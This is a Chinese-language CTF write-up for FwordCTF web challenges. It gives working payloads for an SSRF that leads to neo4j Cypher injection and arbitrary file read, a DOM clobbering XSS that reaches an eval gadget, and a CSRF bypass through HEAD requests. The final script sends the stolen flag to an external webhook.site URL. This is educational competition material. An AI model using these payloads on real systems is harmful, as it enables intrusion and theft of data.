3 分鐘閱讀

Yet another CTF writeups ;)

Intro

這場我是接近比賽結束時才開始打的,只看了兩題,最後有點累,只解了一題Web和他的revenge

雖然解出來的題目很少,但由於遇到很多新東西,所以紀錄一下

Seoftw && Seoftw Revenge (Web)

Overview

當user-agent是xxxbot的時候,這個題目會把你給的url丟到rendertron再回傳body

code review完可以看到後端有一個叫做”backend”的http service,而且有一個 /secret 會去call neo4j的service

所以目標蠻明確的,就是用SSRF打掉backend之後去讀/flag.txt

Exploit

http://backend:5000/secret

@app.route("/secret")
def secret():
	ip=request.remote_addr
	an_address = ipaddress.ip_address(ip)
	a_network = ipaddress.ip_network('172.16.0.0/24')
	if(an_address in a_network):
		db=get_db()
		result = db.read_transaction(lambda tx: list(tx.run("MATCH (body:Anime) WHERE body.name=\""+request.args.get("name")+"\" RETURN body",{})))
		print(result)
		return jsonify({"result":result})
	else:
		return jsonify({"result":"No No little hacker"})

可以看到request.args.get("name")是可以injection的

注入後用LOAD CSV FROM "file:///path/to/flag"的方式任意讀檔就行了

<!DOCTYPE html>
<html>
  <head>
    <title>exploit</title>
  </head>
  <body>
    <script>
      payload = encodeURIComponent(`" RETURN 1 as body UNION LOAD CSV FROM "file:///flag.txt" as body  FIELDTERMINATOR "{`);
      location = `http://backend:5000/secret?name=${payload}`;
      // {"result":[[["FwordCTF","Op3nRediR3cTs_C4n_Be_HarMfUl_Som3tIm3s}"]]]}
      // {"result":[[["FwordCTF","Server_side_withCoRs_Bypass_Nice?}"]]]}
    </script>
  </body>
</html>

(這題revenge有點出壞掉,出題者忘記可以用javascript去做redirect,所以revenge題雖然在url的地方擋了關鍵字,但我用同個payload也可以解,於是我很幸運的first blood了XD)

Shisui (Web)

(這個作者大概是超級火影迷吧XD)

這題我最後是卡在CSRF的部分,沒解掉QQ

但由於這題我覺得蠻有趣的,所以筆記一下

Overview

目標是利用登入狀態的admin bot取得flag的內容再彈回來

@app.route("/flag",methods=["GET"])
def flagEndpoint():
	if "username" in session:
		ip=request.remote_addr
		an_address = ipaddress.ip_address(ip)
		a_network = ipaddress.ip_network('172.16.0.0/24')
		if(an_address in a_network):
			return flag
		else:
			return "Damn Hackers Nowadays"
	else:
		return redirect("/login")

Exploit

首先這題登入之後可以看到:

<form method="GET">
<input name="feedback" id="feedback" placeholder="Good Feedback"/>
<input type="submit" value="Add Feedback" name="submit"/>
</form>
    <div id="out"></div>
<script>
	var url = new URL(document.location.href);
	var params = new URLSearchParams(url.search);
	var feedback=params.get("feedback");
	if (feedback){
		var clean = DOMPurify.sanitize(feedback,{FORBID_TAGS: ['style','form','input','meta']});		
		document.getElementById("out").innerHTML=clean;
	}
</script>

feedback會先用DOMPurify濾一次在放進out裡,而題目用的DOMPurify版本目前沒有已知漏洞,應該不需要繞DOMPurify

再看看有沒有script gadget或CVE,觀察一下網站使用了哪些東西:

    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.3.1/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/script.min.js"></script>
    <script src="static/js/main.js" ></script>

jquery我是有找到幾個CVE,但看起來用不了,因為題目用的是innerHTML

再看static/js/main.js的部分:

window.SETTINGS = window.SETTINGS || [{
  dataset:{
    "timezone":"",
    "location":"Tunisia"
  },
  Title:"FwordFeedbacks",
  check: false	
}]
function looseJsonParse(obj){
  if(obj.length<35){  
	return eval("(" + obj + ")");
  }else{
    return {location:"Limit Length Exceeded"}
  }
}
function addInfos(){
	if(window.showInfos && SETTINGS.check  && SETTINGS[0].dataset.timezone.length>2){
        var infos=`{location:${SETTINGS[0].dataset.location}}`;
	var result=document.createElement("p");
	result.textContent=`Location: ${looseJsonParse(infos).location} Timezone: UTC+1` ;
	document.getElementById("out").appendChild(result);
	console.log(result);
	}
}
addInfos()

eval! gotcha!

首先可以看到:

window.SETTINGS = window.SETTINGS || [{
  dataset:{
    "timezone":"",
    "location":"Tunisia"
  },
  Title:"FwordFeedbacks",
  check: false	
}]

常打CTF的人看到||應該馬上就能猜到要玩DOM cloberring to XSS了

接下來是主邏輯:

function addInfos(){
	if(window.showInfos && SETTINGS.check  && SETTINGS[0].dataset.timezone.length>2){
        var infos=`{location:${SETTINGS[0].dataset.location}}`;
	var result=document.createElement("p");
	result.textContent=`Location: ${looseJsonParse(infos).location} Timezone: UTC+1` ;
	document.getElementById("out").appendChild(result);
	console.log(result);
	}
}

也就是需要:

  1. showinfos (make exist)
  2. SETTINGS.check (make exist)
  3. SETTINGS[0].dataset.timezone (length > 2)
  4. SETTINGS[0].dataset.location (xss && length < 35)

首先可以用:

<a id=SETTINGS></a>
<a id=SETTINGS name=check></a>
<a id=showInfos></a>

完成1和2

但遇到了一個問題,3和4這麼多層,在iframe和form(FORBID_TAGS)被濾掉的情況下,還可以構造出來嗎?

答案是可以的!

原因是dataset並不需要利用更多層的dom clobbering,利用data-*就可以解決掉

再來是xss要小於35字的限制,用eval(name)就能搞定了

以下的payload塞到feedback即可完美偽造一個新的SETTINGS,並使looseJsonParse執行eval(name)

<a id=SETTINGS data-timezone=aaa data-location=eval(name)></a>
<a id=SETTINGS name=check></a>
<a id=showInfos></a>

下一個目標是:該怎麼讓admin bot執行這個需要登入的self-xss呢?

在source code中可以發現網站用了flask_wtf.csrf中的CSRFProtect來防止CSRF,必須繞過才行

比賽時我剩這一步沒完成,賽後經過作者解答才知道,Werkzeug只要有設定接受GET請求,也會自動接受HEAD

https://werkzeug.palletsprojects.com/en/2.0.x/routing/#werkzeug.routing.Rule

If not specified, all methods are allowed. For example this can be useful if you want different endpoints for POST and GET. If methods are defined and the path matches but the method matched against is not in this list or in the list of another rule for that path the error raised is of the type MethodNotAllowed rather than NotFound. If GET is present in the list of methods and HEAD is not, HEAD is added automatically.

這時再看看/login的code:

@app.route("/login",methods=["GET","POST"])
def login():
    if request.method=="GET":
        if "username" in session:
            return redirect("/home")
        else:
            return render_template("login.html",error="")
    else:
        username=request.values.get("username")
        password=request.values.get("password")
        if username is None or password is None:
            return render_template("login.html",error="")
        else:
            cursor = get_db()
            query = "SELECT * FROM users WHERE username=%s AND password=%s"
            cursor.execute(query, (username, password))
            result = cursor.fetchone()
            if result is not None:
                session["username"]=result[1]
                mydb.commit()
                cursor.close()
                return redirect("/home")
            else:
                return render_template("login.html",error="Username or password is incorrect")

可以看到雖然第一個else擺明是給POST用的,但username和password是從request.values來拿,並沒有指定要用form

再回到我們的目標:bypass CSRF

可以發現CSRFProtect預設並沒有對HEAD請求做出防護

也就是説,我們可以發一個HEAD請求來登入,不利用POST也能走進else裡面,達到繞CSRF的目標!

final payload:

<html>

<head>
    <title>exploit</title>
</head>
<body>
    <div id=payload>
        <a id=SETTINGS data-timezone=aaa data-location=eval(name)></a>
        <a id=SETTINGS name=check></a>
        <a id=showInfos></a>
    </div>
    <script>
        // debug
        console.log(window.showInfos);
        console.log(SETTINGS);
        console.log(SETTINGS.check);
        console.log(SETTINGS[0]);
        console.log(SETTINGS[0].dataset);
        console.log(SETTINGS[0].dataset.timezone.length);
        console.log(SETTINGS[0].dataset.location);
        console.log(payload.innerHTML);
        // exploit
        fetch('https://shisui.fword.tech/login?username=lebr0nli&password=lebr0nli',
            {
                method: 'HEAD',
                mode: 'no-cors',
                credentials: 'include'
            }
        ).then(function(){
            name = `fetch('/flag').then(r=>r.text()).then(function(r){location='https://webhook.site/9312382a-71fc-449f-a057-943b16840bdb/?f='+encodeURIComponent(r);})`;
            location = "https://shisui.fword.tech/home?feedback=" + encodeURIComponent(payload.innerHTML);
        });
        // https://webhook.site/9312382a-71fc-449f-a057-943b16840bdb?f=FwordCTF%7BUchiHa_ShiSui_Is_GoDLik3YoU%7D
    </script>
</body>

</html>

Summary

雖然我這場只解幾題,但學到很多新東西,例如neo4j、dataset、Werkzeug的小特性等等,讚啦!